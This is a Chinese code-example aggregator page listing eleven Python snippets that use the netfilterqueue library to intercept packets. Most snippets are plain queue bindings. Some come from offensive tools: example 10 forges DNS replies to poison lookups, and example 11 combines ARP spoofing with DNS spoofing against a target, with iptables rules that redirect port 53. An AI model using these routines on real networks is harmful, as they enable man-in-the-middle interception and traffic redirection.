本文整理汇总了Python中netfilterqueue.NetfilterQueue方法的典型用法代码示例。如果您正苦于以下问题:Python netfilterqueue.NetfilterQueue方法的具体用法?Python netfilterqueue.NetfilterQueue怎么用?Python netfilterqueue.NetfilterQueue使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类netfilterqueue
的用法示例。
在下文中一共展示了netfilterqueue.NetfilterQueue方法的11个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: __init__
# 需要导入模块: import netfilterqueue [as 别名]
# 或者: from netfilterqueue import NetfilterQueue [as 别名]
def __init__(self, qno, chain, table, callback, iface=None):
self.logger = logging.getLogger('Diverter')
# Specifications
self.qno = qno
self.chain = chain
self.table = table
self._rule = IptCmdTemplateNfq(self.chain, self.qno, self.table, iface)
self._callback = callback
self._nfqueue = netfilterqueue.NetfilterQueue()
self._sk = None
self._stopflag = False
self._thread = None
# State
self._rule_added = False
self._bound = False
self._started = False
示例2: nfqueueBinder
# 需要导入模块: import netfilterqueue [as 别名]
# 或者: from netfilterqueue import NetfilterQueue [as 别名]
def nfqueueBinder(self):
self.logger.debug("[ebcLib.py] Binding nfqueue...")
nfqueue = netfilterqueue.NetfilterQueue()
nfqueue.bind(self.nfqueueNum, self.nfqueueHandler)
nfqueue.run()
# This listens for new requests and handles them
# TCP - forks them off to their own threads
# UDP - directly calls the mitmInstance since it's a "stateless" protocol
示例3: main
# 需要导入模块: import netfilterqueue [as 别名]
# 或者: from netfilterqueue import NetfilterQueue [as 别名]
def main():
#print('Starting...')
os.system('iptables -F')
os.system('iptables -A INPUT -i ' + iface + ' -j NFQUEUE --queue-num 4')
q = nfqueue.NetfilterQueue()
q.bind(4, callback)
try:
q.run()
except KeyboardInterrupt:
os.system('iptables -F')
# Call main
示例4: begin
# 需要导入模块: import netfilterqueue [as 别名]
# 或者: from netfilterqueue import NetfilterQueue [as 别名]
def begin(self):
q = NetfilterQueue()
q.bind(1, self.callback)
try:
q.run() # Main loop
except KeyboardInterrupt:
q.unbind()
os.system('iptables -F')
os.system('iptables -X')
示例5: spoof
# 需要导入模块: import netfilterqueue [as 别名]
# 或者: from netfilterqueue import NetfilterQueue [as 别名]
def spoof(self):
try:
self.q = NetfilterQueue()
self.q.bind(1, self.callback)
self.q.run()
except Exception as e:
print "[*] Exception caught: {}".format(e)
示例6: filter
# 需要导入模块: import netfilterqueue [as 别名]
# 或者: from netfilterqueue import NetfilterQueue [as 别名]
def filter(self):
try:
self.q = NetfilterQueue()
self.q.bind(1, self.callback)
self.q.run()
except Exception as e:
print "[!] Exception caught: {}".format(e)
示例7: start
# 需要导入模块: import netfilterqueue [as 别名]
# 或者: from netfilterqueue import NetfilterQueue [as 别名]
def start(self):
set_ip_forwarding(1)
iptables().NFQUEUE()
self.nfqueue = NetfilterQueue()
self.nfqueue.bind(0, self.modify)
self.nfqueue.run()
示例8: intercept
# 需要导入模块: import netfilterqueue [as 别名]
# 或者: from netfilterqueue import NetfilterQueue [as 别名]
def intercept(self):
"""This method intercepts the packets and send them to a callback
function."""
# For Windows Platforms
if platform.system() == "Windows":
import pydivert
w = pydivert.WinDivert()
w.open()
print("[*] Waiting for packets...\n\n(Press Ctrl-C to exit)\n")
try:
while True:
self.windows_modify(w.recv(), w, pydivert)
except KeyboardInterrupt:
w.close()
# For Linux platforms
elif platform.system() == "Linux":
from netfilterqueue import NetfilterQueue
nfqueue = NetfilterQueue()
# The iptables rule queue number by default is 1
nfqueue.bind(1, self.linux_modify)
try:
self.set_iptables_rules()
print("[*] Waiting for packets...\n\n(Press Ctrl-C to exit)\n")
nfqueue.run()
except KeyboardInterrupt:
self.clean_iptables()
else:
print("Sorry. Platform not supported!\n")
示例9: __init__
# 需要导入模块: import netfilterqueue [as 别名]
# 或者: from netfilterqueue import NetfilterQueue [as 别名]
def __init__(self, subdomain, local_ip):
global monitor_domain, server_ip
monitor_domain = str(subdomain)
server_ip = local_ip
self.enable_dns_forwarding()
self.nfqueue = NetfilterQueue()
self.nfqueue.bind(1, packet_handler)
thread = Thread(target=self.start_monitoring, args=(self,))
thread.start()
atexit.register(self.on_shutdown, self)
print("[+] Started DNS Spoofer thread.")
示例10: DnsPoisoner
# 需要导入模块: import netfilterqueue [as 别名]
# 或者: from netfilterqueue import NetfilterQueue [as 别名]
def DnsPoisoner(self):
def callback(packet):
payload = packet.get_payload()
pkt = IP(payload)
if not pkt.haslayer(DNSQR):
packet.accept()
else:
if debug:
print "[+]DNS Poisoning {} --> {}".format(pkt[DNS].qd.qname, self.hostIP)
new_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\
an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=self.hostIP))
packet.set_payload(str(new_pkt))
packet.accept()
def DnsThread():
t = threading.Thread(name='DNSspoof', target=DnsPoison)
t.setDaemon(True)
t.start()
def DnsPoison():
os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num 1')
q = NetfilterQueue()
q.bind(1, callback)
q.run()
DnsThread()
#DnsPoison()
示例11: run
# 需要导入模块: import netfilterqueue [as 别名]
# 或者: from netfilterqueue import NetfilterQueue [as 别名]
def run():
if importerror == True:
printError("Netfilterqueue is not imported!")
print("Traceback:\n"+str(error))
return
controller.reset()
printInfo("Loading host list...")
try:
hostfile = open(getpath.conf()+"hosts", "r").read()
except FileNotFoundError:
printError("Host list is not found!")
return
except PermissionError:
printError("Permission denied!")
for line in hostfile.splitlines():
if "#" not in line and len(line.split()) == 2:
hostlist.append(line.split())
for item in hostlist:
try:
item[0] = item[0].encode()
except AttributeError:
pass
try:
item[1] = item[1].encode()
except AttributeError:
pass
if variables["arp_spoof"][0] == "true":
printInfo("IPv4 forwarding...")
os.system('echo "1" >> /proc/sys/net/ipv4/ip_forward')
printInfo("Starting ARP spoof...")
arpspoof = ArpSpoofer(variables["router"][0], variables["target"][0], controller)
arpspoof.start()
printInform("Ctrl-C to stop.")
os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num 1')
try:
q = NetfilterQueue()
q.bind(1, callback)
try:
q.run()
except KeyboardInterrupt:
controller.kill = True
q.unbind()
os.system('iptables -F')
os.system('iptables -X')
printInform("DNS spoof stopped.")
except:
printError("Unexcepted error:\n")
traceback.print_exc(file=sys.stdout)
controller.kill = True
if variables["arp_spoof"][0] == "true":
printInfo("Stopping ARP spoof...")
arpspoof.join()